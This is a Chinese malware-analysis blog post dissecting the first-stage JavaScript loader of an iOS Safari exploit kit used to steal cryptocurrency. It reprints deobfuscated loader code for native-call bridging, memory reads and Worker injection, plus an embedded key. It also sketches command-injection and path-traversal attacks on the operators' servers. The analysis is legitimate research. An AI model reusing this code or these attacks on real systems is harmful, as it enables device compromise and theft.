盗币加载器分析(1):一个wasm加载器的bootstrap

Posted by Closure on September 9, 2026

这套盗u系统是按商品形态交付的 MaaS,主打的是开箱即卖,代理分润制,引流代理负责把链接送到受害者眼前,平台记账,在偷到钱后系统按比例自动给渠道分润。

卖家对自己的保护比php前端水平高很多,网关AES盐硬编码在源码里且与客户端插件编译期绑定,插件内焊死网关域名/盐/渠道号三样东西,以及这个包是刻意阉割过的缺越狱插件 jbsdk/6个远程拉取模块/Proxy打款

综上,这套平台有两条完全独立的生产线,这系列只讲第二条(

第一条是越狱插件,前提是受害者的iPhone已经越狱,手机里被植入一个jbsdk插件,所以这部手机对攻击者就是透明的,打开钱包看一眼助记词,插件直接从其他沙盒里把明文读走,复制一段助记词准备备份,剪贴板在复制被截获;收到的交易所验证码被转发;相册和备忘录定期被打包成加密文件上传。

应该不需要展开讲毕竟都越狱了 所以挺好理解的。。。?

第二条网页线门槛几乎为0,手机不需要越狱,受害者要做的全部事情就是在iPhone的Safari里打开一个链接,打开之后看到的是一个转圈的加载中页面,转二十秒显示加载完成。

这个二十秒是伪造的等待,在页面下方一个完全隐形的窗口里代码已经完成了对这台手机的检查,从十三套漏洞模块里挑出了针对这个系统版本的那一套,通过浏览器漏洞直接拿到了原生代码执行权限。

上面说的通过浏览器漏洞拿到原生权限只是一瞬间的事,门被踹开了,但是破门的人手里还没有任何工具,从破门到开始偷之间需要一整套基础设施,谁来接管这个权限?谁来下载后续的恶意模块?三十个加密载荷谁来解密?解密出来的六十五个原生模块谁来装进内存运行?

这些就分别是本文三部分,三层各是一个工种x

生草前端

前端和后端非常地割裂,静态粗看一下能发现很多小巧思

运营方用了很久JWT_ADMIN_SECRET / JWT_AGENT_SECRET / COLLECTION_SECONDARY_SECRET / VIEW_TOKEN_SECRET / TG_WEBHOOK_SECRET,所以拿到安装包的任何人都能伪造管理员JWT/代理JWT/二级采集签名/TG webhook 回调,这个认证体系等于是没有(

jbsdk网关盐值硬编码在ApiCryptoService,算法又是AES-256-ECB和key=sha256,也就是拿到包就能伪造网关请求和抢答,并且TOTP种子明文存SQL,两步验证等于是可以被整体克隆,里面2FA也等于没有。

助记词明文存储就明文吧,可是为什么注释里还要提一下这是AES-256-GCM加密……在这个背景下宝塔面板弱密码adminXXXX非常地不意外。

访问控制也是等于没有,所谓菜单权限只是前端不渲染按钮,AdminAuth只验证Bearer token 有效,而不验证有没有这个接口的权限,任意低权账号直接调高权API就可以了,助记词号称要TG验证码核验,实际没有真核(前端太多这种假注释了不知道何意味在骗谁

api/user/check 无鉴权上传/exec(‘7z x …‘)解压

这个接口本来是干什么的

它是jbsdk越狱线的托运口,受害设备上的插件偷到相册和备忘录文件后,体积大、是二进制,没法走普通JSON加密接口,于是打包成.dat,POST /api/user/check 回传。

服务端 PayloadService 接收后:二进制异或逆向还原出 7z→用时间戳密钥体系派生的密码 → exec(‘7z x …’) 解压→落盘到 uploads//pic_* → 后台相册模块里浏览

显式跳过 plain POST /api/user/avatar/set 设备注册 POST /api/user/avatar/pic 剪贴板上报 POST /api/user/get App 列表上报 POST /api/user/check 载荷文件上传

同一个控制器下的接口全走AES-256-ECB加解密中间件,/api/user/check被显式豁免了,因为.dat 是二进制文件,不是JSON,过不了为JSON设计的解密中间件。作者的做法是直接把这个口从安全体系里摘了出去,解密中间件被跳过的同时,附着在里面的身份校验也一起没了。

外部命令拼接

PayloadService::run7zExtract 直接 exec('7z x ...') 调用系统 p7zip

落盘

解压产物按 uploads//pic_* 组织,后台相册模块直接浏览

任何不需要设备注册、不需要盐、不需要时间戳都能往生产服务器 POST一个文件并触发服务端处理流程,jbsdk其他接口好歹有盐时间戳,请求数据进shell exec()拼接外部命令太高危了,像文件名/device参数/解压路径如果未经escapeshellarg处理就进命令行,就是经典命令注入,即使处理了引号,7z自身的参数解析也留有余地

服务端对攻击者完全可控的输入跑7z x,把p7zip的整个解析面暴露给公网

压缩包内文件名带 ../ 的路径穿越

符号链接/硬链接条目指向 webroot 或配置路径 若穿越成立往public/ 丢一个 .php 就是webshell((这台机器还是跑在宝塔root级权限下

MaaS有这个洞坑的是全部买家,安装包原样发,盐值和密钥体系各家都一样且代码没人改,任何一个买家都能用同样的方式打其他所有买家的服务器,所以看到这里你肯定想到了黑吃黑

layer1

layer1是一段小小的JS,是漏洞利用成功后第一批运行的代码,它做的第一件事是看看自己在哪,恶意dylib在破门时已经把十六个原生内存地址写进了JS环境,layer1先检查这十六个地址在不在,少一个就立刻自爆。

验明环境之后把这十六个地址组装成一套任意函数调用能力,从此JS代码可以直接调用手机系统里的几乎任何函数,读写内存/解析符号/调用Objective-C接口,甚至能对指针做PAC签名来通过新 iPhone的硬件级防护。

最后它创建一个后台Worker把解密全部载荷所需的三十二字节密钥/索引的下载地址/原生调用能力的副本发送过去

前情提要

它们的真身是 iOS Safari 远程漏洞利用框架,钓鱼话术/表单字段/伪装品牌根本不在载荷里

30 个加密载荷全部解开,每个载荷是一个.min.js密文,各配一个wrapper脚本(整文件就一句 window“qbrdr”,base64 解码后与对应密文逐字节一致)。加密算法是标准 ChaCha20,原生实现在包内附带的macos64.dylib,偏移0xad8c被逐条反汇编还原,并用自写Python完整复现。

解出来的明文是三层容器:外层0x0BEDF00D魔数+长度+XZ压缩流,解开是0xF00DBEEF容器,ver6/7模块里还有第三层0x12345678嵌套索引。

密钥体系是纸糊的,所有密钥明文存在于分发结构里,没有任何服务端协商。全局密钥16bbd170…4ab1只解入口索引,45b0ef4d….min.js;索引明文里躺着20把每文件密钥;家族B的10把密钥又明文嵌在ver6/7模块的第三层索引里,拿到任意一层明文就能取出下一层全部钥匙。

65个ARM64dylib的画像出来了,从30个容器里共carve出65个Mach-O动态库,分两个:

  • 家族A是提权/静默注入框架:Keychain读取链(AppleKeyStore、CloudKeychainProxy、kSecClass/SecItemCopy)、Safari Cookie 与站点数据清理、JSEvaluateScript(向 JSContext 注入)、伪 entitlement 清单(IOSurfaceRootUserClient、AGXDeviceUserClient 等)、通讯录、系统侦察。ver2 模块里内嵌了一份507KB的完整加载器副本,含全局密钥/配置协议/错误信标,所以原生模块可以脱离页面独立自举整套加载器。
  • 家族B是越狱设备的采集回传执行体:DGA域名生成回退(backup%u.com模板、fallback_seed)、bing.com 连通性探测、ip-api.com 地理定位、越狱环境识别(/var/binpack/usr)、以及 /tmp 下的自管理五件套(relaunch 自拉起、upgrade.dylib 自更新、stop/uninstall、执行守卫锁)。

layer1是围绕这三个问题开展的:

  • JS是笼子里的语言,怎么指挥笼子外的原生世界?
  • 桥搭好了,怎么后续也能用?
  • 整套东西怎么做到离开了受害环境就自毁?

NativeBridge 接管原生接口

它要解决的子问题是dylib递进来的16个地址是生肉,所以要先验货/加工/组装成可用的工具,构造上它做五件事,这是解密后的验货与绝对地址化的原文:

constructor() {
    var offsets = window.o, slide = window.s;  
    this.ready = false;
    if (bridgeInstantiated) throw Error();      
    if (16 != offsets.length) throw Error();  
    bridgeInstantiated = true;
    this.pacEnabled = !!offsets[8];             
    this.absAddrs = [];
    for (let i = 0; 16 > i; i++) this.absAddrs[i] = BigInt(offsets[i] + slide);

读window.o/window.s,强制检查16项,absAddrs[k] = o[k] + s,o里存的是偏移,加上ASLR slide才是真实地址。

以及对暗号scanMagicFromNativeFn无参调用window.c(o[6]-32),拿到一个结构指针,向下16对齐,在+2048处找魔数0x12345678,取其后8字节,再校验指针链低36位是否等于 “wind”0x77696E64。两道魔数校验不过就 throw。

function scanMagicFromNativeFn(bridge, ...padding) {              
  let base = window.c(Number(bridge.absAddrs[6]) - 32);           // o[6]+s-32:无参调用
  base -= base & 15;                                              // 向下 16 对齐
  for (let i = 0; 2 > i; i++) {
    const word = nativeRead64(bridge, BigInt(base + 2048 + 8 * i));
    if (MAGIC_12345678 == (word & MASK_36BIT)) {
      bridge.magicStructPtr = nativeRead64(bridge, BigInt(base + 2048 + 8 * (i + 1)));
      return;
    }
  }
  throw Error();
}

这等于和dylib对了两轮暗号来确认自己真的在受害进程里,且dylib是自己人的版本。

造trampoline是通过钉扎链(JS ArrayBuffer → +16 → 解引用 → +16 → 解引用)算出trampolineAddr,这是之后一切原生调用的发射台。

this.callBuf = new ArrayBuffer(1024);
    var p = nativeRead64(this, pinAndGetPtrViaBridge(this, this.callBuf) + 16n) & PTR_ALIGN_MASK;
    this.trampolineAddr = nativeRead64(this, p + 16n) & PTR_ALIGN_MASK;   // 原文 A

然后是组装FFI表,6项一次解引用+3项PAC包装+ i[17](经符号探针预热后求得)。

var table = this.ffiTable = {
  [34]: nativeRead64(this, this.absAddrs[15]),   // i[34]:写/gadget(o[15])
  [5]:  nativeRead64(this, this.absAddrs[3]),    // i[5]:getter(o[3])
  [6]:  nativeRead64(this, this.absAddrs[4]),    // i[6]:符号解析器/dlsym(o[4])
  [22]: nativeRead64(this, this.absAddrs[10]),   // i[22]:layer1 未用,送 worker
  [23]: nativeRead64(this, this.absAddrs[11]),   // i[23]:64 位读 gadget(o[11])
  [33]: nativeRead64(this, this.absAddrs[14]),   // i[33]:layer1 未用,送 worker
};
// …
this.ffiTable[25] = pacsWrapPtr(this, this.absAddrs[12]);  // i[25]:PAC 签名 gadget
this.ffiTable[13] = pacsWrapPtr(this, this.absAddrs[7]);   // i[13]:调用 gadget
this.ffiTable[26] = pacsWrapPtr(this, this.absAddrs[13]);  // i[26]:内存基座函数

PAC包装的含义是如果o[8]标志显示这台设备启用了arm64e指针认证,就把裸指针先盖章再用,全部就绪才置ready=true,它是单例bridgeInstantiated标志,全进程只允许存在一座这样的桥,重复构造直接throw

CallEngine问题一的第二步,变成通用拨号器

NativeBridge只是接管了原料,CallEngine才提供业务接口:

callNative(target, signature, …args),按符号名或表内编号,调用任意原生函数,它的构造核心一块1024字节共享缓冲的ABI布局(与NativeBridge共享同一块内存,两者是同一张桌子两边办公)。

constructor(ffiTable, buffer, nativeBase) {                    
    if (engineInstantiated) throw Error();                       
    engineInstantiated = true;
    this.ffiTable = ffiTable;                                    
    if (960 > buffer.byteLength) throw Error();                   // 缓冲至少 960B
    this.strScratch   = new Uint8Array(buffer, 0, 320);           // [0,320)   字符串暂存区
    this.bufNativeBase = nativeBase;                              
    this.regArgs      = new BigUint64Array(buffer, 320, 40);      // [320,640) 寄存器参数区
    this.regArgsAddr  = Number(nativeBase + BigInt(320));         
    this.callDesc     = new BigUint64Array(buffer, 640, 40);      // [640,960) 调用描述符
    this.retLow32     = new Uint32Array(buffer, 640, 1);          // callDesc[0] 低 32 位视图
    this.callDescAddr = Number(nativeBase + BigInt(640));         
    this.pinSlot = JSON.parse("[1.1, []]");

一次callNative,原文照录

callNative(target, signature, ...restArgs) {                    // 原文 call
    if (arguments.length - 2 != signature.length - 1) throw Error();  // 实参/签名匹配校验
    let resolved = resolveFunc(this, target);                     // 编号直取 / 字符串走 dlsym
    let stackBytes = 0;
    // …("a" 按值结构体参数先 memcpy 80 字节到栈区;寄存器区/栈区按签名封送)
    this.callDesc[0] = this.ffiTable[13];                         // i[13] 调用 gadget
    this.callDesc[1] = resolved;                                  // m[1]=目标函数
    if (stackBytes & 15) stackBytes += 16 - (stackBytes & 15);    // 栈区 16 字节对齐
    c(this.callDescAddr, this.regArgsAddr, 224 + stackBytes);     // ★ 触发 window.c trampoline
    switch (signature[0]) {                                       // 返回类型分派
      case "v": return 0;
      case "i": return this.retLow32[0];                          // callDesc[0] 低 32 位
      case "q": return this.callDesc[0];                          // callDesc[0] 全 64 位
    }
    throw Error();
  }

校验参数个数与签名匹配→解析目标→按ABI封送参数→callDesc[0]=i[13]、callDesc[1]=目标→ 调window.c(callDescAddr, regArgsAddr, 224+栈字节数)触发 trampoline→按返回类型从 callDesc[0] 读回结果。

构造函数里还有一段看似冗余的反分析设计(?)

用200个交替填充的假参数调用魔数扫描,真实参数只有第一个,所以静态分析要在这堆噪声里找出真正的调用约定

const pad = Array(200);
    for (let i = 0; 100 > i; i++) { pad[2*i] = Number(MAGIC_12345678); pad[2*i+1] = this.pinSlot; }
    scanMagicFromBaseFn(this, ...pad);                            // 真实参数只有 this
    if (MAGIC_WIND_CHECK != (pinAndGetNativePtr(this, MAGIC_WIND_CHECK) & MASK_36BIT)) throw Error();

它也是单例且要求NativeBridge已ready,依赖关系写死在代码里。

内存原语族

四个函数 两套对称

read64/writeNative:经 i[23] 读、经 i[34] 写(写时地址 -32 做入口修正); nativeRead64:绕开引擎直接调 trampoline 的读 gadget(o[5]-32),对 addr 和 addr-4 各读一次拼出无对齐要求的 64 位:

function nativeRead64(bridge, addr) {                             
  const hi = BigInt(window.c(Number(bridge.absAddrs[5]) - 32, 0, 1, Number(addr)));
  const lo = BigInt(window.c(Number(bridge.absAddrs[5]) - 32, 0, 1, Number(addr - 4n)));
  return hi & HIGH32_MASK | lo >> 32n & LOW32_MASK;
}

为什么需要这个?因为引擎还没建好时也得能读内存NativeBridge 自己构造时就要用,这是先有鸡还是先有蛋的解法…….

pinAndGetNativePtr/pinAndGetPtrViaBridge:对象钉扎,把JS对象放进一个普通数组的槽位然后走固定指针链取值:

function pinAndGetNativePtr(engine, jsObject) {                   // 原文 n
  engine.pinSlot[0] = jsObject;                 // 暴露给 native 侧
  var p = read64(engine, engine.scanBase + 8n);
  p = read64(engine, p);
  engine.pinSlot[0] = null;                     // 解除钉扎
  return p;
}

pinSlot[0] = jsObject,这个赋值是给持有JSContext的dylib看的,钉扎期native侧读这个槽,把JS对象翻译成原生指针。

编码、URL、遥测

u32ArrayToUtf16Str+resolveUrl是作者的字面量保险箱,敏感字符串以uint32数组→UTF-16 码元→字节串→绝对URL

function sendTelemetry(code) {                                   
  if (telemetryBase) {
    const xhr = new XMLHttpRequest;
    xhr.open("GET", telemetryBase + "?e=" + code, true);
    xhr.send();
  }
}

window.onerror = () => { sendTelemetry(1E3); };

错误码1000=全局异常/Worker异常,模块main返回值经[35]消息也走这里,这是加载器的黑匣子。

setupNativeBridgeAndConfig-把桥复制进 Worker

这是全文件技术含量最高的函数,完成了主线程的桥Worker也能用这件事。

先钉扎Worker的JS对象取原生指针,然后按iOS小版本走6级指针链

var ctxPtr = pinAndGetNativePtr(callEngine, bridge.worker);     // Worker JS 对象 → 原生指针
  ctxPtr = read64(callEngine, ctxPtr + 24n);                      // 第 1 级:+24
  if ("20E" < window.b) {                                         // iOS ≥16.4
    ctxPtr = read64(callEngine, ctxPtr + 96n);
    ctxPtr = read64(callEngine, ctxPtr + 128n);
    ctxPtr = read64(callEngine, ctxPtr + 32n);
    ctxPtr = read64(callEngine, ctxPtr + 328n);
  } else if ("20B" < window.b) {                                  // iOS 16.1–16.3
    ctxPtr = read64(callEngine, ctxPtr + 96n);
    ctxPtr = read64(callEngine, ctxPtr + 80n);
    ctxPtr = read64(callEngine, ctxPtr + 32n);
    ctxPtr = read64(callEngine, ctxPtr + 320n);
  } else if ("20A" < window.b) {                                  // iOS 16.0
    ctxPtr = read64(callEngine, ctxPtr + 120n);
    ctxPtr = read64(callEngine, ctxPtr + 80n);
    ctxPtr = read64(callEngine, ctxPtr + 32n);
    ctxPtr = read64(callEngine, ctxPtr + 312n);
  } else throw Error();                                           // <16.0 不支持
  ctxPtr = read64(callEngine, ctxPtr + 16n);                      // 第 6 级:+16
  var jsContextRef = read64(callEngine, ctxPtr);                  // 链终点

链终点是Worker线程的JSGlobalContextRef

用CallEngine连发五个objc_msgSend,把dylib的原生回调注册为Worker全局作用域的属性。

const jsContextObjC = callEngine.callNative("objc_msgSend", "qqq",
    callEngine.callNative("objc_getClass", "qq", writeStrToScratch(callEngine, "JSContext")), sel("alloc"));
  callEngine.callNative("objc_msgSend", "vqqq", jsContextObjC, sel("initWithGlobalContextRef:"), jsContextRef);

  var jsValueObjC = callEngine.callNative("objc_msgSend", "qqq",
    callEngine.callNative("objc_getClass", "qq", writeStrToScratch(callEngine, "JSValue")), sel("alloc"));
  callEngine.callNative("objc_msgSend", "vqqqq", jsValueObjC, sel("initWithValue:inContext:"), jsContextRef, jsContextObjC);

  /* ★ 关键一步:把 absAddrs[0](o[0]+s,dylib 的桥回调)写为该对象的属性 "c" */
  jsContextRef = nativeBridge.absAddrs[0];                        // 原文 e=L.g[0]
  callEngine.callNative("objc_msgSend", "vqqqq", jsValueObjC, sel("setValue:forProperty:"), jsContextRef,
    callEngine.callNative("CFStringCreateWithCString", "qqqi", 0n, writeStrToScratch(callEngine, "c"), 1536));

还原入口索引URL和8×uint32 密钥种子,原文照录:

const entryUrl = resolveUrl(u32ArrayToUtf16Str(
    [0x35342f2e, 0x66653062, 0x33636434, 0x36373166, 0x36616133, 0x37653463,
     0x38366331, 0x32336639, 0x39393034, 0x38306330, 0x6D2E6237, 0x6A2E6e69, 0x00000073]));

  var globalKey = new Uint32Array(new ArrayBuffer(32));
  const keyStr = u32ArrayToUtf16Str(
    [0x70D1bb16, 0x4725665d, 0x9E844e2c, 0xAE96882f,
     0xC713777f, 0x489Fca00, 0x797A0c0a, 0xB14A4ae8]);
  for (let m = 0, t = 0; m < keyStr.length; m += 2, t++)
    globalKey[t] = keyStr.charCodeAt(m) | keyStr.charCodeAt(m + 1) << 16;

密钥小端字节序16bbd170…4ab1

postMessage一次性下发 13 个字段:

bridge.worker.postMessage([27, {
    [30]: callEngine.ffiTable,        // FFI 地址表(含 o 派生全部指针)
    [2]:  bridge.ownSab,              // 本实例 1KB SharedArrayBuffer
    [3]:  bridge.ownSabPtr,           // 由该 SAB 派生的原生指针
    [14]: sharedMem512K,              // 全局 512KB SAB
    [15]: bridge.nativeHandle,        // native 句柄(calloc(120))
    [10]: globalRegistryPtr,          // 全局登记表结构指针
    [31]: bridge.instanceId,          // 实例序号
    [11]: sharedMemPtr,               // 512KB SAB 的原生指针
    [8]:  entryUrl,                   // 入口索引绝对 URL → s_d
    [7]:  globalKey,                  // ★ 8×uint32 全局密钥 → s_k
    [24]: telemetryBase,              // 遥测基址(页面目录 URL)→ s_r
    [9]:  window.u,                   // 页面 URL → s_e
    [32]: navigator.userAgent,        // UA → s_a
    [36]: Array(false)[0],            // = false:调试标志 → s_x
  }]);

持续运行与收尾

  • JsContextBridge(class U):Worker 的户口本,创建 Worker(Blob URL,内容是内嵌 base64 解码出的 layer2)、建本实例专属 1KB SAB、注册消息回调、发 [12] 初始化脉冲。原文照录:

    constructor(nativeHandle, onReady) {
      // …双表登记:bridgeById[instanceId] / bridgeByHandle[nativeHandle]
      const blobUrl = URL.createObjectURL(new Blob([layer2BlobJs]));   // layer2 本体
      this.worker = new Worker(blobUrl);
      URL.revokeObjectURL(blobUrl);
      this.ownSab = new SharedArrayBuffer(1024);                        // 本实例专属 1KB SAB
      var p = read64(callEngine, pinAndGetNativePtr(callEngine, this.ownSab) + 16n) & PTR_ALIGN_MASK;
      this.ownSabPtr = read64(callEngine, p + 16n) & PTR_ALIGN_MASK;
      const self = this;
      this.worker.onmessage = function (ev) { onWorkerMessage(self, ev); };
      this.worker.onerror = function () { sendTelemetry(1E3); };
      this.worker.postMessage([12]);                                   // 初始化脉冲
    }
    

onWorkerMessage是消息分发器,[12]worker 就绪→触发 ⑤;[18]worker 请求开嵌套桥;[19]/[21] 分离/销毁;[20] 完成标记;[35] 结果码转遥测。

function onWorkerMessage(bridge, event) {                         // 原文 V
  switch (event.data[0]) {
    case 16:  break;                                              // no-op(本构建无发送方)
    case 35:  sendTelemetry(event.data[1]); break;                // 结果/错误码 → 遥测
    case 12:  setupNativeBridgeAndConfig(bridge); break;          // 就绪 → 搭桥 + 下发 + 点火
    case 20:                                                      // 完成
      bridge.workerReady = true;
      if (bridge.detachRequested) destroyBridge(bridge);
      break;
    case 18: {                                                    // 请求创建嵌套桥
      const payload = event.data[1];
      new JsContextBridge(payload[15], function (g) {
        g.callWorker(payload[28], [payload[1]], payload[29]);
      });
      break;
    }
    case 19:  bridgeByHandle[event.data[1]].detach(); break;      // 按句柄分离
    case 21:  destroyBridge(bridgeByHandle[event.data[1]]); break;// 按句柄销毁
    default: throw Error();
  }
}

destroyBridge用完即焚,摘双表、pthread_mutex_destroy、free句柄、worker.terminate。

function destroyBridge(bridge) {                                  // 原文 W
  delete bridgeById[bridge.instanceId];
  delete bridgeByHandle[bridge.nativeHandle];
  callEngine.callNative("pthread_mutex_destroy", "iq", bridge.nativeHandle);
  callEngine.callNative("free", "vq", bridge.nativeHandle);
  bridge.worker.terminate();
}

攻击链

构造如上,现在按真实执行顺序串起来。

时刻1 脚本注入 引导层把 64f4eeb2….js 以 <script src=blob:> 注入页面,IIFE 之外的 顶层语句先跑:建 URL 解析锚点(href=window.u)、初始化遥测基址、 创建 512KB SharedArrayBuffer、解码 layer2 blob。 依赖:window.u(dylib 注入)。缺它URL就会补全失败,遥测静默。

时刻2 mainEntry IIFE

16 项检查 → 绝对地址化 → 扫 0x12345678 → 校验 “wind” → 派生 trampoline → 组装 FFI 表(含 PAC 包装)→ 注册初始回调 → ready=true。 依赖:时刻1 + dylib 写入的全部 window.*。 失败:任何一步 throw → window.onerror → 遥测 1000,攻击静默终止。 ★ 这就是”问题三”的答案:干净浏览器里 window.o 根本不存在, 时刻2 必崩,且只报一个 “1000”,什么信息都不露。

时刻3 makeCallEngine() → new CallEngine 依赖:时刻2 的 ready=true(代码强制)。 从此刻起,”拨号器”可用:任何原生函数都能 callNative。

时刻4 派生 512KB SAB 的原生指针 依赖:时刻3 的 read64/pinAndGetNativePtr。 这个指针稍后是 Worker 与 native 之间的”公共信箱”。

时刻5 window.r 重定位表处理(若有) 对 dylib 给的一张 {数字串键: 地址} 表逐项:签名键 → 写到目标地址-32。

时刻6 createRootBridge calloc(136) 建全局登记表 S(mutex + 2 个 CFDictionary)→ calloc(120) 建 native 句柄 → new JsContextBridge(句柄, 回调)。 依赖:时刻3(一切 calloc/pthread/CFDictionary 都走 callNative)。

时刻7 JsContextBridge 构造 Blob(atob 的 layer2) → new Worker → 建 1KB SAB → 派生其原生指针 → 挂 onmessage → postMessage([12]) 初始化脉冲。 依赖:时刻1 的 blob 解码、时刻3 的钉扎链。 此后控制权交给”消息驱动”——主线程进入等待。

时刻8 Worker setupNativeBridgeAndConfig 6 级指针链(按 window.b 的版本串分支)→ 取 Worker 侧 JS 上下文 → objc 桥注入 c → 还原密钥与入口 URL → postMessage([27, 13字段]) → 触发根回调。 依赖:时刻3(read64/objc 调用)、时刻6/7(Worker 与句柄)。 这是”问题二”闭环的时刻:Worker 从此也有原生能力。

时刻9 根回调发出 [4, 0, [0,0n,0n], 0] → 模块启动 Worker 侧 case 4 启动序列(第 1 跑已还原): __init_segments → __wasm_apply_data_relocs → s_d(入口URL) → s_k(密钥) → s_e/s_r/s_a/s_x → __main_argc_argv(0,0n,0n) → 返回值经 postMessage([35]) 回主线程 → 转遥测。 layer1 的使命到此完成——控制权移交给 layer2 的总控程序。

时刻10 善后 [18] 嵌套桥(模块要新 JS 上下文时)/[19] 分离 /[20] 完成 / [21] 销毁:mutex_destroy + free + worker.terminate()。

构造与链条

  • 为什么内存原语要有引擎侧/桥侧?

看时刻2NativeBridge构造时CallEngine还不存在,但扫魔数/派生trampoline都需要读内存,所以桥侧必须有一套不依赖引擎的nativeRead64。先有桥后有引擎,两套原语是孵化顺序的产物。

  • 为什么版本分支表在5而不在1?

NativeBridge操作的是主线程的结构,作者自己的dylib写入的布局可控,而5要摸进WebCore 的Worker内部对象图(苹果的结构随版本漂移,不可控)。版本适配被精确地放在了依赖苹果内部布局的那一处,这也是为什么整个layer1的iOS版本保质期就浓缩在这三条指针链上,因为其余部分全是版本无关的。

  • 为什么密钥走 27下发而不是直接写进 layer2 代码?

因为layer2的blob是构建期固化的,而密钥要同时给layer1留着和Worker用,postMessage的结构化克隆能原样传递BigInt/SharedArrayBuffer/TypedArray,13 字段大礼包一次到位是这个场景下唯一可行的传输通道。同时这也让换密钥变成改一处种子数组的事,不用改两层代码。

layer1 之后

时刻9的[4, 0, [0,0n,0n], 0]发出之后,layer1的故事就讲完了,攻击也就刚开始,回头看layer1在时刻8送出的大礼包,会发现layer1把自己最值钱的家当全部交给了Worker,FFI地址表&512KB共享内存&三十二字节密钥&入口索引 URL。

从这一刻起Worker里那个374KB的程序才是这座工厂真正的主人,layer1只剩消息路由和遥测上报。

那么接过权力的就是下一篇要说的layer2,一个伪装成JS的C程序,layer2的本体是一个用C 写成,编译到WebAssembly再转译为JS的完整程序,拥有自己的main函数、自己的内存管理、自己的启动序列。

layer1发给它的密钥和URL是它的命令行,六个配置setter收齐之后main才被允许运行,它的任务是把钥匙变成弹药, 入口索引 URL 指向的45b0ef4d…min.js里藏着三十个载荷各自的专属密钥,三十个.min.js密文背后是三层的加密容器,容器尽头是六十五个ARM64原生模块:读钥匙串/偷Cookie/注入其他App/探测越狱环境的那部分真正的恶意代码。

下载/解密/拆箱/装载的流水线调度者就是layer2,它仍然站在layer1搭的桥上, layer2干活离不开原生能力,它体内那个与layer1 CallEngine同构的class qb调用引擎、它裸调的c,全是layer1通过objc桥注射进Worker的遗产。

所以理解layer2最快的方式就是带着layer1的图去读它,同构的代码对照看 不一样的部分就是它的业务逻辑(